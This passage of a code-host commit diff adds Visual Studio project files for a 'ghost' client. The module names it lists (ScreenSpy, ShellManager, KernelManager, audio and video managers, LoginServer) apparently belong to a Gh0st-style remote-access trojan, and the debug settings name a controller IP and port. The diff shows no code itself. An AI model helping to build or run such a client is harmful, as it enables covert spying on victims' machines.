<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="CursorInfor.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="LoginServer.h" />
|
||||
<ClInclude Include="Manager.h" />
|
||||
<ClInclude Include="RegisterManager.h" />
|
||||
<ClInclude Include="RegisterOperation.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="ScreenManager.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ShellManager.h" />
|
||||
<ClInclude Include="StdAfx.h" />
|
||||
<ClInclude Include="SystemManager.h" />
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="zconf.h" />
|
||||
<ClInclude Include="zlib.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ExportFunTable.def" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Media Include="Res\msg.wav" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
177
client/ghost.vcxproj.filters
Normal file
177
client/ghost.vcxproj.filters
Normal file
@@ -0,0 +1,177 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Audio.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="AudioManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Buffer.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CaptureVideo.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ClientDll.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Common.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CursorInfor.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="FileManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="IOCPClient.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="KernelManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="LoginServer.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Manager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="RegisterManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="RegisterOperation.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ScreenManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ScreenSpy.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ServicesManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ShellManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="StdAfx.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="SystemManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="TalkManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="VideoManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Audio.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="AudioManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Buffer.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CaptureVideo.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Common.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CursorInfor.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="FileManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="IOCPClient.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="KernelManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="LoginServer.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Manager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="RegisterManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="RegisterOperation.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="resource.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ScreenManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ScreenSpy.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ServicesManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ShellManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="StdAfx.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="SystemManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="TalkManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="VideoCodec.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="VideoManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="zconf.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="zlib.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc">
|
||||
<Filter>资源文件</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ExportFunTable.def">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Media Include="Res\msg.wav">
|
||||
<Filter>资源文件</Filter>
|
||||
</Media>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
10
client/ghost.vcxproj.user
Normal file
10
client/ghost.vcxproj.user
Normal file
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
<LocalDebuggerCommandArguments>192.168.43.165 2356</LocalDebuggerCommandArguments>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
Reference in New Issue
Block a user